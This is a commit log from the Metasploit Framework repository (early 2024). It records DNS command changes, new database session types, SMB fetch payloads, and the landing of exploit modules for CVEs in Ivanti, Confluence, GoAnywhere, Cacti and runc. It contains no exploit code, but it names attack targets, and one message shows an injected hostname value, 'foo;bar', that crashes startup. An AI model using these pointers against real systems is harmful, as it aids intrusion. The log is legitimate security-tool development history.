Compare commits

...

640 Commits

Author SHA1 Message Date
adfoster-r7 1d406cfc2a Land #18809, DNS command improvements 2024-02-14 22:12:30 +00:00
Spencer McIntyre eca99e2c77 Refactor resolver types 2024-02-14 14:40:22 -05:00
Spencer McIntyre 27ccb26de1 Adjust the confirmation logic before resetting 2024-02-14 14:27:05 -05:00
Spencer McIntyre a75013e51a Land #18616, Fix aarch64 elf shared SIGBUS error
Fix aarch64 elf shared object bus error
2024-02-14 13:30:29 -05:00
Metasploit 7228a2ad20 automatic module_metadata_base.json update 2024-02-14 10:52:51 -06:00
Christophe De La Fuente 747d328bcb Land #18786, Fix option collision in service_persistence 2024-02-14 17:25:15 +01:00
Spencer McIntyre df81cda304 Bump rex-socket to pull in validation changes 2024-02-14 09:39:51 -05:00
Metasploit 3447ca37ea automatic module_metadata_base.json update 2024-02-14 08:38:46 -06:00
Christophe De La Fuente fc5a12431c Land #18664, Add an SMB-based fetch payload for Windows 2024-02-14 14:57:32 +01:00
dwelch-r7 bd78f03c98 Land #18834, Remove redundant require statements in tests 2024-02-14 12:33:33 +00:00
adfoster-r7 0d250c49fa Remove redundant require statements in tests 2024-02-14 12:26:08 +00:00
Metasploit 2409d132ae automatic module_metadata_base.json update 2024-02-14 05:09:43 -06:00
adfoster-r7 1794a5fbee Land #18763, Mssql session modules 2024-02-14 10:54:04 +00:00
Zach Goldman d18520adc6 update rhost and rport calls 2024-02-13 13:00:38 -06:00
Metasploit 9b4d6f1219 automatic module_metadata_base.json update 2024-02-13 12:35:36 -06:00
Christophe De La Fuente cb290d8032 Land #18807, Add a base64 ARCH_CMD encoder 2024-02-13 19:11:57 +01:00
Zach Goldman c05c6773df adjust session logic in modules 2024-02-13 11:59:09 -06:00
Spencer McIntyre 1cd5b707bb Add additional platforms and decoders 2024-02-13 18:34:40 +01:00
Spencer McIntyre 49e689d909 Some improvements to the encoder
* Skip encoding when it is not necessary
* Use command -v instead of which for portability
2024-02-13 18:34:40 +01:00
Spencer McIntyre 9c6e1a584a Add a base64 ARCH_CMD encoder 2024-02-13 18:34:40 +01:00
adfoster-r7 34a8b6c29c Land #18828, revert change to each_module for compatible nops 2024-02-13 12:18:48 +00:00
Dean Welch 94005719f4 Revert change to each_module for compatible nops 2024-02-13 11:15:27 +00:00
Metasploit ef54cfd0f3 automatic module_metadata_base.json update 2024-02-13 04:16:07 -06:00
adfoster-r7 b762d2ba65 Land #18795, Move CreateSession from advanced into basic options 2024-02-13 10:00:35 +00:00
Metasploit d49f60282c automatic module_metadata_base.json update 2024-02-12 15:07:34 -06:00
Spencer McIntyre 202db99004 Land #18801, Fix revision number checks
Fix revision number checks in cve_2022_26904_superprofile.rb
2024-02-12 15:52:16 -05:00
Metasploit 793f3557a2 automatic module_metadata_base.json update 2024-02-12 14:47:24 -06:00
Spencer McIntyre 45365c8666 Land #18800, Fix revision number checks
Fix revision number checks for cve_2021_40449.rb
2024-02-12 15:19:56 -05:00
Spencer McIntyre ce0498377d Land #18798, fix version checks
windows/local/cve_2020_0787_bits_arbitrary_file_move (and similar) fails due to incorrect revision_number checks
2024-02-12 15:11:07 -05:00
Spencer McIntyre 8eb5aa6aa6 Land #18799, Fix revision number checks
Fix revision number checks for cve_2020_17136.rb
2024-02-12 15:01:45 -05:00
adfoster-r7 88e1e2e932 Land #18826, Fix a bug where clean up was not being invoked 2024-02-12 18:01:11 +00:00
adfoster-r7 84f4c3c13f Land #18820, fix incorrectly named shared example file 2024-02-12 17:59:26 +00:00
adfoster-r7 9e456a27e3 Land #18825, improve error message for incompatible sessions 2024-02-12 17:44:20 +00:00
dwelch-r7 8717e91a3c Land #18823, Fix module metadata platform list comparison 2024-02-12 17:31:46 +00:00
Spencer McIntyre d67aa2e250 Fix a bug where clean up was not being invoked 2024-02-12 17:24:24 +00:00
cgranleese-r7 982f92b9b6 Improve error message for incompatible sessions 2024-02-12 17:02:42 +00:00
dwelch-r7 8106dbe5e0 Land #18806, Improves unknown command handling 2024-02-12 16:59:44 +00:00
cgranleese-r7 450fd0876f Improve unknown command handling 2024-02-12 16:43:56 +00:00
Dean Welch 43eb2a7c9b be more specific with mssql mock 2024-02-12 16:12:37 +00:00
Metasploit 69eaf75b7a automatic module_metadata_base.json update 2024-02-12 09:53:41 -06:00
cgranleese-r7 b40f36e62a Land #18774, Add support for newer sqlcmd versions 2024-02-12 15:33:15 +00:00
Christophe De La Fuente a90ff41f71 Use casecmp? instead of casecmp 2024-02-12 16:20:12 +01:00
dwelch-r7 2f4a1ac300 Land #18778, Fix source location tracking for Ruby kernel patches 2024-02-12 14:47:07 +00:00
Spencer McIntyre 7e5938061c Fix a bug where clean up was not being invoked 2024-02-12 08:51:10 -05:00
Dean Welch f9fb803af7 fix misnamed shared example and missing mssql mocks 2024-02-12 12:30:49 +00:00
adfoster-r7 5fa1ce8ed2 Add support for newer sqlcmd versions 2024-02-12 11:51:02 +00:00
adfoster-r7 3cf3d0995e Land #18813, fix broken hosts and services help command 2024-02-12 11:50:14 +00:00
cgranleese-r7 699afaff45 Adds some notification message about 6.4 release features 2024-02-12 11:37:47 +00:00
cgranleese-r7 5d165466ff Move CreateSession from advanced into basic options 2024-02-12 11:35:27 +00:00
Spencer McIntyre 5036d28b44 Validate hostnames before storing them
This proactively fixes a potential DoS condition where if a user were to
add a hostname containing a ; and followed by data that is not an IP
address that MSF may fail to start.

Example:
dns add-static 'foo;bar' 192.0.2.1
save
2024-02-09 14:52:41 -05:00
Zach Goldman 94223f05fc update relevant modules to work with sessions
separate out optional session logic

fixing session handling
2024-02-09 13:18:49 -06:00
Metasploit 1d2acd67e4 automatic module_metadata_base.json update 2024-02-09 11:18:25 -06:00
cgranleese-r7 285fbe5ac5 Land #18812, Revert mssql_login TDSENCRYPTION value to false 2024-02-09 17:03:10 +00:00
Metasploit c1df6f2647 automatic module_metadata_base.json update 2024-02-09 10:49:10 -06:00
adfoster-r7 dc47d03503 Land #18706, Use PostgreSQL session type for Postgres modules 2024-02-09 16:33:56 +00:00
adfoster-r7 72932bdae1 Fix broken hosts and services help command 2024-02-09 16:28:47 +00:00
adfoster-r7 37ee910d2f Revert mssql_login TDSENCRYPTION value to false 2024-02-09 16:07:45 +00:00
Metasploit 0c83ad46aa automatic module_metadata_base.json update 2024-02-09 09:43:25 -06:00
sjanusz-r7 30fc29e0f5 Use PostgreSQL session type for modules 2024-02-09 15:38:06 +00:00
adfoster-r7 9caa2fac17 Land #18747, Add new mssql session type 2024-02-09 15:27:43 +00:00
Spencer McIntyre 99b2bfec1f Support -1 in the --session argument 2024-02-09 08:57:23 -05:00
Zach Goldman 2c60780dc0 Add MSSQL session Type 2024-02-09 07:27:01 -06:00
Spencer McIntyre 1b2a2af4d4 Fix unit tests on Ruby 3.2 because IPAddr =~ fails 2024-02-08 17:10:49 -05:00
Spencer McIntyre 56d2dfa46a Fix removing invalid DNS rule IDs 2024-02-08 17:00:40 -05:00
Spencer McIntyre 934b10a626 Fix a bug when dns -h is run 2024-02-08 16:52:45 -05:00
Spencer McIntyre 630301a0df Add versioning to the DNS configuration 2024-02-08 16:39:24 -05:00
Spencer McIntyre 1cab98f4c2 Support multiple addresses for a static hostname 2024-02-08 16:05:54 -05:00
Spencer McIntyre 62e960352f Refactor naming entries as rules 2024-02-08 13:05:53 -05:00
Spencer McIntyre 243ebcb3a6 Add some missing documentation 2024-02-08 13:05:53 -05:00
Spencer McIntyre c1a08b97d2 Load the termux hosts file path too 2024-02-08 13:05:50 -05:00
Spencer McIntyre 11ca24e290 Specify the record type for PTR lookups 2024-02-08 11:22:33 -05:00
Spencer McIntyre 5c9b454291 Change initialization to allow reseting
Change how the resolver is initialized so the instance can be reset to
sane default values loaded from the operating system.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 2653a180e4 Update tests add new initialization methods 2024-02-08 11:22:33 -05:00
Spencer McIntyre 648a7b394d Update configuration saving and loading 2024-02-08 11:22:33 -05:00
Spencer McIntyre bd7d4f0099 Add commands to manage static hostname records 2024-02-08 11:22:33 -05:00
Spencer McIntyre fcd84a41aa Add a DNS resolver for static entries
Move support for static entries out of the cache so it can be controlled
like the other resolvers.
2024-02-08 11:22:33 -05:00
Spencer McIntyre d940bfd312 Show the number of cached dns records 2024-02-08 11:22:33 -05:00
Spencer McIntyre 2cf706e91f Use the dns entry index instead of unique IDs 2024-02-08 11:22:33 -05:00
Spencer McIntyre 43a7993215 Show the matching rule for DNS resolution 2024-02-08 11:22:33 -05:00
Spencer McIntyre 470a28921e Add dedicated help menus for subcommands with args 2024-02-08 11:22:33 -05:00
Spencer McIntyre 3c716041bd Add the blackhole resolver 2024-02-08 11:22:33 -05:00
Spencer McIntyre 3445c1b588 Add the system resolver for A and AAAA queries 2024-02-08 11:22:33 -05:00
Spencer McIntyre a5dc63617f Refactor resolver entries to unify them
Now resolution will match a single rule, but that rule can have multiple
servers.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 464d2eef73 Add a method for upstream resolvers from query args 2024-02-08 11:22:33 -05:00
Spencer McIntyre 7fe10d8613 Switch to a more generic upstream resolvers model
Upstream resolvers can be DNS servers or something else.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 282f97ba2d Add the flush-cache subcommand
Also rename purge to flush-entries and update descriptions to clarify
what exactly is being flushed.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 319cff7d3a Change the DNS timeout from 30 to 5 seconds
Also, add the #to_i method for timeouts
This makes it compatible with Rex Sockets later on
2024-02-08 11:22:33 -05:00
Spencer McIntyre fd943f1401 Make the resolve subcommand more like Meterpreter
Make the dns resolve subcommand more like the resolve command in
Meterpreter. Also alphabetize things.
2024-02-08 11:22:33 -05:00
Spencer McIntyre c780bfcb66 Add a DNS query command for inspection 2024-02-08 11:22:32 -05:00
Spencer McIntyre 20f73867ca Print the default domain and search list too 2024-02-08 11:22:32 -05:00
Spencer McIntyre 6fdfd7147c Print the system nameservers too 2024-02-08 11:22:32 -05:00
Spencer McIntyre 9181d93807 Search for a resolv.conf file 2024-02-08 11:22:32 -05:00
dwelch-r7 87e78d4f8d Land #18783, remove initialize warnings from rspec tests 2024-02-08 14:38:02 +00:00
Metasploit 0625e84b57 automatic module_metadata_base.json update 2024-02-08 07:04:19 -06:00
adfoster-r7 8b71afdd53 Land #18759, Updates MySQL modules to now support the new MySQL session type 2024-02-08 12:39:51 +00:00
Metasploit d3bde6b172 Bump version of framework to 6.3.56 2024-02-08 03:38:37 -06:00
adfoster-r7 108e5afaea Land #18803, Remove all references to Msf::SymbolicModule 2024-02-07 21:50:16 +00:00
cgranleese-r7 02ae96edb0 Addresses RPORT not defaulting correctly 2024-02-07 16:07:15 +00:00
Dean Welch 792708c07b Remove all references to Msf::SymbolicModule 2024-02-07 15:08:47 +00:00
cgranleese-r7 b060809a8d Addresses logoff PR feedback 2024-02-07 12:51:04 +00:00
upsidedwn 4b5d04e59e Fix revision number checks in cve_2022_26904_superprofile.rb 2024-02-07 11:30:42 +08:00
upsidedwn ccb446f2ae Fix revision number checks for cve_2021_40449.rb 2024-02-07 11:28:00 +08:00
upsidedwn 436efad4ca Fix revision number checks 2024-02-07 11:25:41 +08:00
upsidedwn 47d30696bc Fix revision_number checks 2024-02-07 11:20:12 +08:00
cgranleese-r7 e80f0ef8cd Removes session logic from mixins and uses client instead of datastore for rhost and rport 2024-02-06 14:11:16 +00:00
cgranleese-r7 b72d8d16d4 Land #18782, Update Windows installation docs to mention requirement to install as Administrator 2024-02-06 13:05:04 +00:00
ekalinichev-r7 9ae54e08bc Update code formatting in Metasploit installation docs
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2024-02-06 11:35:50 +01:00
adfoster-r7 5975d668f6 Land #18773, Support CTRL + Z for interactive SQL REPL 2024-02-05 16:39:13 +00:00
adfoster-r7 b109fe0cf7 Land #18787, Temporarily remove PHP github action testing 2024-02-05 16:07:08 +00:00
adfoster-r7 12b188d186 Temporarily remove PHP github action testing 2024-02-05 14:36:26 +00:00
Metasploit aec2a82af4 automatic module_metadata_base.json update 2024-02-05 06:35:04 -06:00
Christophe De La Fuente d546db6055 Land #18780, runc cwd priv esc (docker) (cve-2024-21626) 2024-02-05 13:12:02 +01:00
sjanusz-r7 4039ae137a Support CTRL + Z for interactive SQL REPL 2024-02-05 11:14:51 +00:00
lihe07 29524fa7f8 Fix option collision in service_persistence
The option `SHELLPATH` collide with `cmd/unix/reverse_netcat`,
resulting in abnormal backdoors. This commit rename it to BACKDOOR_PATH
2024-02-03 23:18:45 +08:00
h00die cf2f76e6a2 cve-2024-21626 review 2024-02-02 16:27:02 -05:00
Zach Goldman 23e184c9ce Fix removing initialize warnings 2024-02-02 11:04:44 -06:00
Metasploit 77a2340b34 automatic module_metadata_base.json update 2024-02-02 11:02:14 -06:00
Jack Heysel 85974d16c2 Land #18769, Add Cacti RCE via SQLi Module
This exploit module leverages a SQLi (CVE-2023-49085) and
a LFI (CVE-2023-49084) vulnerability in Cacti versions prior
to 1.2.26 to achieve RCE
2024-02-02 11:46:10 -05:00
Metasploit ef8f8bc8d3 automatic module_metadata_base.json update 2024-02-02 09:12:30 -06:00
cgranleese-r7 577304cf7c Updates more modules 2024-02-02 14:59:56 +00:00
cgranleese-r7 ae1cb57dc3 Updates MySQL modules to now support the new MySQL session type 2024-02-02 14:59:56 +00:00
adfoster-r7 46e34e5362 Land #18718, Add MySQL session type 2024-02-02 14:57:10 +00:00
Metasploit bb3e872bc5 automatic module_metadata_base.json update 2024-02-02 08:45:20 -06:00
cgranleese-r7 0e9cad6d45 Adds MySQL session type 2024-02-02 14:39:37 +00:00
adfoster-r7 48221e594d Land #18704, Leverage the module metadata cache in the module_sets 2024-02-02 14:16:46 +00:00
adfoster-r7 7ac4387d35 Land #18696, Convert MSSQL mixin to class 2024-02-02 14:14:34 +00:00
Christophe De La Fuente b91648f065 Fix typos 2024-02-02 11:45:51 +01:00
Metasploit 41b517d809 automatic module_metadata_base.json update 2024-02-02 04:40:21 -06:00
Christophe De La Fuente 1ff1302df7 Use exceptions instead of returning a boolean in do_login 2024-02-02 11:39:13 +01:00
adfoster-r7 372b792b8c Land #18761, Add alert to show user the new session options available in Metasploit 6.4 2024-02-02 10:25:32 +00:00
Simon Janusz 18ea7b39af Land #18779, Update PHP Github action for acceptance tests 2024-02-02 10:13:28 +00:00
Egor Kalinichev 02311bf94a Update Windows installation docs to mention requirement to install as Administrator 2024-02-02 10:57:01 +01:00
Metasploit 6132264dcd automatic module_metadata_base.json update 2024-02-01 22:02:34 -06:00
Jack Heysel be2d2d61ca Land #18762, Add exploit module for CVE-2024-0204
This pull request adds an exploit module for CVE-2024-0204
in Fortra GoAnywhere MFT. GoAnywhere MFT versions 6.x from
6.0.1, and 7.x before 7.4.1 are vulnerable.
2024-02-01 22:36:32 -05:00
Zach Goldman 35778e92b2 client consolidation
convert first module from remote to client

move client to rex

remove metasploit mixin
2024-02-01 17:23:55 -06:00
h00die 1c73cf938f cve-2024-21626 2024-02-01 15:28:04 -05:00
Jack Heysel 3c46f51924 Land #18753, Fix typo in alloc_and_write_wstring
The method str_to_uniz_a was being called but does not exist.
The actual method name is str_to_uni_z, this PR fixes that typo.
2024-02-01 15:09:16 -05:00
sfewer-r7 b259c5d6a7 store the credentials we create in the DB 2024-02-01 19:48:01 +00:00
sfewer-r7 612feac5f1 add in vendor advisory URL 2024-02-01 19:47:23 +00:00
Metasploit e21dcf34ed Bump version of framework to 6.3.55 2024-02-01 12:08:45 -06:00
adfoster-r7 d9defd40e4 Update PHP Github action for acceptance tests 2024-02-01 18:02:46 +00:00
Dean Welch 10dfe9c428 Remove prefix from alerts 2024-02-01 17:33:31 +00:00
Dean Welch 5193d30db7 Move message order 2024-02-01 17:17:58 +00:00
Christophe De La Fuente 81eba7a6e7 Use FileDropper mixin and fix typo 2024-02-01 17:23:05 +01:00
adfoster-r7 2a4d50c6e7 Fix source location tracking for ruby kernel patches 2024-02-01 15:38:30 +00:00
Christophe De La Fuente 5054b3bfd0 Add methods to get the version and the CSRF token 2024-02-01 12:31:01 +01:00
Stephen Fewer a867793870 Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:05:02 +00:00
Stephen Fewer 546de49bec Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:04:49 +00:00
Stephen Fewer 6e4294c013 Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:04:26 +00:00
Metasploit 15d22d2807 automatic module_metadata_base.json update 2024-01-30 18:40:48 -06:00
Jack Heysel 024b855231 Land #18628, Add Puppet post module
This PR adds a post gather module to get
Puppet configs and sensitive files.
2024-01-30 19:20:48 -05:00
Metasploit c8d2727023 automatic module_metadata_base.json update 2024-01-30 12:02:57 -06:00
Dean Welch 764a87fda8 nil check and fix mock 2024-01-30 17:51:40 +00:00
adfoster-r7 4d0ba2fa1d Land #18742, Memory search module improvements 2024-01-30 17:39:12 +00:00
Dean Welch 1abaef4945 Move new session information alerts behind a feature flag 2024-01-30 16:38:00 +00:00
Metasploit 056ed770b5 automatic module_metadata_base.json update 2024-01-30 10:05:09 -06:00
Jack Heysel 59df04be97 Land #18755, Add an exploit for Mirth Connect RCE
This PR add an exploit module for both CVE-2023-43208
and CVE-2023-37679 where the former is a patch bypass
for the later.
2024-01-30 10:33:47 -05:00
Christophe De La Fuente f10619d870 Add module and documentation 2024-01-30 12:52:02 +01:00
h00die 6702dd0195 review comments for puppet module 2024-01-29 19:21:25 -05:00
h00die 68f333cb7b review comments for puppet module 2024-01-29 19:18:54 -05:00
Spencer McIntyre 44916e67d5 Check if the SMB share exists before overwriting 2024-01-29 16:55:25 -05:00
Spencer McIntyre 3d476f4ef3 Add the missing #on_client_connect method 2024-01-29 16:44:32 -05:00
Spencer McIntyre b9cf7ba894 Fix an issue where info would raise an exception
Fix instances where the `info` command would raise an exception while
generating the payload to calculate its length.
2024-01-29 16:44:32 -05:00
Spencer McIntyre 1c36d89942 Fix a double deref issue with the HTTP service 2024-01-29 16:44:32 -05:00
Spencer McIntyre c9504f9c53 Update the payload specs 2024-01-29 16:44:32 -05:00
Spencer McIntyre 96316a94fe Initial SMB server for fetch payloads 2024-01-29 16:44:28 -05:00
Spencer McIntyre 577898d91b Check the response when exploiting 2024-01-29 14:38:49 -05:00
Spencer McIntyre b5906418c2 Update the HashCapture mixin
Use #srvport instead of the datastore and pull in upstream chanes for
the metasploit-credential gem to enable use within payloads.
2024-01-29 13:35:56 -05:00
Spencer McIntyre 33306fa4dd The SRVPORT is already registered
The SRVPORT datastore option is registered by the Remote::SMB::Server
mixin so including it here is redundant.
2024-01-29 13:35:54 -05:00
Spencer McIntyre a8c240f671 Refactor existing fetch work
* Build the HTTPS server on top of HTTP instead of the other way around
* Set the fetch service to nil after it has been cleaned up
* Don't capitalize the H in the word handler
* Check if the fetch_service is truthy before cleaning it up
* Remove the unused FetchServerName datastore option
* Fixup the description text
* Don't allow slashes in fetch file names
* Also add the #fetch_bindnetloc method

Fix a problem in fetch/tftp.rb
2024-01-29 13:34:56 -05:00
sfewer-r7 c70092a2c7 bugfix a copy pasta whereby a path seperator was not being added as expected 2024-01-29 17:52:37 +00:00
sfewer-r7 08a19959fe add an RCE exploit module for CVE-2024-0204 in Fortra GoAnywhere MFT 2024-01-29 17:17:45 +00:00
Spencer McIntyre b5de25a2b6 Fingerprint the target as Mirth Connect first 2024-01-29 12:11:38 -05:00
Dean Welch 9a2ec90c16 Add alert to show user the new session options available in Metasploit 6.4 2024-01-29 17:06:21 +00:00
dwelch-r7 e5f96bdbe1 Land #18760, Ensure DNS command config loading does not crash msfconsole 2024-01-29 14:53:15 +00:00
Spencer McIntyre 8a793dd1b0 Use the correct exploit and use sh instead of bash 2024-01-29 09:03:25 -05:00
adfoster-r7 7ce13101df Ensure DNS command config loading does not crash msfconsole 2024-01-29 13:23:18 +00:00
Spencer McIntyre 9e41825e51 Finish up the exploit
Tested on Linux (versions 4.1.1, 4.3.0, and 4.4.0) and Windows (version
4.4.0).
2024-01-26 17:20:54 -05:00
bwatters d05b85de50 Land #18680, Shared SMB Service
Merge branch 'land-18680' into upstream-master
2024-01-26 14:42:11 -06:00
Spencer McIntyre 97a3e0291e Bump ruby_smb to 3.3.2
This pulls in the changes from rapid7/ruby_smb#260 which adds the
 #remove_share method that is needed for cleanup.
2024-01-26 14:56:57 -05:00
Spencer McIntyre 530d58de49 Initial commit of NextGen Connect RCEs 2024-01-26 14:50:33 -05:00
upsidedwn 9391e11202 Fix typo in alloc_and_write_wstring calling non-existent method
`str_to_uniz_a` does not exist, updated to `str_to_uni_z`. Looking at cross-references, only two modules use this method to convert from ruby strings to null-terminated WCHARs. Updated the comments to clarify usage of this method and fixed the typo.
2024-01-27 00:01:03 +08:00
dwelch-r7 7a7c7eb177 Land #18750, Update payload to_handler command to support option overrides 2024-01-26 15:15:02 +00:00
adfoster-r7 94eeba3521 Update payload to_handler command to support option overrides 2024-01-26 12:37:36 +00:00
Metasploit 5ea35c9ffb Bump version of framework to 6.3.54 2024-01-26 04:36:49 -06:00
dwelch-r7 3cbbfe65f1 Land #18744, Fix flakey opt address local spec 2024-01-26 10:33:47 +00:00
adfoster-r7 2f97f86f49 Land #18746, ensure the generate command does not update the module database 2024-01-25 19:40:28 +00:00
Metasploit 251305d26b automatic module_metadata_base.json update 2024-01-25 13:33:17 -06:00
Jack Heysel fe84c0dff7 Land #18734, Add exploit for CVE-2023-22527
This adds an exploit for CVE-2023-22527 which is an
unauthenticated RCE in Atlassian Confluence. The
vulnerability is due to an SSTI flaw that allows an
OGNL expression to be evaluated.
2024-01-25 14:15:10 -05:00
Spencer McIntyre 96241b3a6e Keep version detection consistent 2024-01-25 13:50:34 -05:00
Spencer McIntyre 6ad359ee96 Don't change the main modules datastore options 2024-01-25 13:47:09 -05:00
Metasploit 7a385431cb automatic module_metadata_base.json update 2024-01-25 09:18:19 -06:00
Christophe De La Fuente 44bf6867c6 Land #18737, Update metasploit-payloads gem to 2.0.165 2024-01-25 15:49:25 +01:00
Spencer McIntyre 49532613e5 Implement some feedback from the review 2024-01-25 09:20:17 -05:00
adfoster-r7 5c25bfd908 Fix flakey opt address local spec 2024-01-25 12:33:21 +00:00
sjanusz-r7 502511a71a memory_search module improvements 2024-01-24 19:55:53 +00:00
sjanusz-r7 f496a71cf0 Make mimipenguin work with updated memory search API 2024-01-24 19:53:57 +00:00
sjanusz-r7 aac74778b9 Move memory search method to Meterpreter stdapi 2024-01-24 19:53:30 +00:00
Spencer McIntyre deabf9b1d8 Add module docs 2024-01-24 12:49:27 -05:00
adfoster-r7 995c806d81 Land #18740, Remove invalid modification time test 2024-01-24 13:27:29 +00:00
adfoster-r7 4784afae6a Land #18741, add ntpath tests 2024-01-24 12:48:47 +00:00
Dean Welch 56f6020ff5 Assert that the caches modification time is in fact a time 2024-01-24 12:10:22 +00:00
Dean Welch 3a076d6cdb Verify ntpath works as expected 2024-01-24 12:01:09 +00:00
Dean Welch f2a1d16fbc Verify ntpath works as expected 2024-01-24 11:59:31 +00:00
Dean Welch 057facea90 Remove invalid modification time test 2024-01-24 11:43:04 +00:00
Metasploit 288d4b8c20 automatic module_metadata_base.json update 2024-01-24 05:09:51 -06:00
adfoster-r7 15d0d4f0df Land #18663, Add new PostgreSQL Session Type 2024-01-24 10:46:26 +00:00
Metasploit 4f04f91b71 automatic module_metadata_base.json update 2024-01-23 14:39:21 -06:00
Jack Heysel 4c525dad66 Land #18648, Add enhancement to Asan check method
Before this PR when running asan_suid_executable_priv_esc
if the user did not set the SUID_EXECUTABLE option the
module would fail with an undescriptive error message.
This PR removes the default value of an empty string from
SUID_EXECUTABLE so now if it's not set the user is informed.
2024-01-23 15:22:33 -05:00
Metasploit 7bff3042db automatic module_metadata_base.json update 2024-01-23 14:16:11 -06:00
Jack Heysel c278ef9b73 Land #18648, Add Module for GL.iNet products
This PR adds an exploit module for a number of
different GL.iNet network products. The module combines
an auth by-pass CVE-2023-50919 with an RCE CVE-2023-50445.
2024-01-23 14:57:29 -05:00
Jack Heysel 08f6da7b33 Removed default empty string for SUID_EXECUTABLE 2024-01-23 14:21:58 -05:00
jheysel-r7 13d2968fad Capitalize remaining references to Meterpreter 2024-01-23 13:11:03 -05:00
Metasploit 21b49be380 automatic module_metadata_base.json update 2024-01-23 11:17:05 -06:00
sjanusz-r7 73dbe2e89d Add PostgreSQL multi-line query transform tests 2024-01-23 17:03:16 +00:00
Jack Heysel 904e34434e Land #18626, SaltStack Minion Deployer
This PR adds an exploit module which allows for
a user who has compromised a host acting as a
SaltStack Master to deploy payloads to the Minions
attached to that Master.
2024-01-23 11:58:38 -05:00
Metasploit 15652bc29c automatic module_metadata_base.json update 2024-01-23 10:16:14 -06:00
adfoster-r7 8c5628826f Land #18735, update iis_webdav_scstoragepathfromurl module metadata 2024-01-23 15:56:01 +00:00
bwatters 583d39b038 Land #18720, Mark unix encoders as compatible with linux
Merge branch 'land-18720' into upstream-master
2024-01-23 09:45:42 -06:00
Spencer McIntyre dd3d1a9397 Update metasploit-payloads gem to 2.0.165
Includes changes from:
* rapid7/metasploit-payloads#694
2024-01-23 10:42:14 -05:00
Metasploit 2b938d12e2 automatic module_metadata_base.json update 2024-01-23 07:25:19 -06:00
adfoster-r7 a25b0ee5e0 Land #18713, Add generic memory search post/multi module 2024-01-23 12:57:24 +00:00
h00die-gr3y 8d7907edee Update based on @jheysel-r7 comments 2024-01-23 10:10:21 +00:00
Metasploit 11d1a5938e automatic module_metadata_base.json update 2024-01-23 03:57:08 -06:00
Simon Janusz 7411dc1b1b Land #17634, Add additional reliability and stability notes to modules 2024-01-23 09:42:15 +00:00
Metasploit 71fb0876f6 automatic module_metadata_base.json update 2024-01-22 21:17:56 -06:00
Jack Heysel 953382731e Land #18645, improve glibc tunables exploit
This PR adds a way to get the Build ID from ld.so by
using the perf command. Before this the module depended
on file and readelf being installed to get the Build ID.
2024-01-22 22:00:28 -05:00
aleksa 67e402e1be Added Notes 2024-01-22 19:12:21 -05:00
adfoster-r7 094d6ee36b Add additional reliability and stability notes to modules 2024-01-22 23:29:57 +00:00
aleksa e9e5a44522 Updated with side effects 2024-01-22 18:03:28 -05:00
aleksa 8e3fbcae26 notes added to storage path exploit. 2024-01-22 17:55:26 -05:00
Spencer McIntyre b8a0e33ce3 Initial exploit for CVE-2023-22527 2024-01-22 17:06:29 -05:00
Metasploit 6430b3f138 automatic module_metadata_base.json update 2024-01-22 11:56:29 -06:00
bwatters 46a0052286 Land #18568, added exploit for CVE-2023-32781 - PRTG authenticated RCE
Merge branch 'land-18568' into upstream-master
2024-01-22 11:35:38 -06:00
sjanusz-r7 2bd93ae72c Use a glob for memory_search PROCESS_NAMES_GLOB 2024-01-22 16:53:32 +00:00
sjanusz-r7 f8bdb02593 Validate memory_search PROCESS_IDS using regex 2024-01-22 16:53:00 +00:00
adfoster-r7 4921f6bbd1 Land #18712, Fix undefined method error in /api/v1/modules endpoint 2024-01-22 15:06:52 +00:00
sjanusz-r7 1fe448f2f4 Revert remote/postgres verbosity changes 2024-01-22 14:27:38 +00:00
sjanusz-r7 9de20d3c7f Add additional comments to PostgreSQL cmd_run_help 2024-01-22 14:02:10 +00:00
Spencer McIntyre d8bdc258fb Land #18729, Fix a typo in Metasploit-Guide-SMB.md 2024-01-22 08:59:46 -05:00
sjanusz-r7 7f0f65d867 Align PostgreSQL Shell REPL output with psql utility 2024-01-22 13:56:09 +00:00
Dean Welch 82e9c2703f Improve module ranking performance 2024-01-22 12:40:24 +00:00
sjanusz-r7 e58ef0fee4 Add Reline requirement comment 2024-01-22 10:48:13 +00:00
sjanusz-r7 a5dcf5a2f4 Fix PostgreSQL autoruns 2024-01-22 10:47:34 +00:00
Kevin Joensen dfa54d02b9 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-01-22 10:10:14 +01:00
Poupapaa 8af928ec36 Update Metasploit-Guide-SMB.md
Fixed tiny typo:

Other terminology to be aware of:
- SMB - Ser**v**er Message Blocks
2024-01-22 09:01:04 +01:00
h00die-gr3y 919c846064 Final small updates (removed UDP and corrected typo in release date 2024-01-20 11:27:10 +00:00
Metasploit 37e82384e4 automatic module_metadata_base.json update 2024-01-19 16:26:22 -06:00
Spencer McIntyre 06dcc82ced Land #18630, Add CVE-2023-50917: MajorDoMo RCE
Add CVE-2023-50917: MajorDoMo Command Injection Module
2024-01-19 17:10:40 -05:00
Metasploit 9db6ac7e3c automatic module_metadata_base.json update 2024-01-19 16:03:20 -06:00
bwatters fadb0f45dd Land #18708, Ivanti Connect Secure RCE exploit module (CVE-2023-46805 and CVE-2024-21887)
Merge branch 'land-18708' into upstream-master
2024-01-19 15:47:43 -06:00
Spencer McIntyre b31abcc9b2 Mark unix encoders as compatible with linux
Fixes #18572
2024-01-19 13:40:43 -05:00
Dean Welch 763a97d40a Add test to ensure module ranking is consistent 2024-01-19 18:11:31 +00:00
Dean Welch 334a469d2c rank modules consistently 2024-01-19 17:50:31 +00:00
adfoster-r7 f56c9fc9ac Land #18662, Fix dns resolution skipping over nameservers with valid responses 2024-01-19 16:44:16 +00:00
Dean Welch 391bc4e69e shuffle platform parsing and code quality 2024-01-19 14:30:34 +00:00
Metasploit eb570f883a automatic module_metadata_base.json update 2024-01-19 06:27:27 -06:00
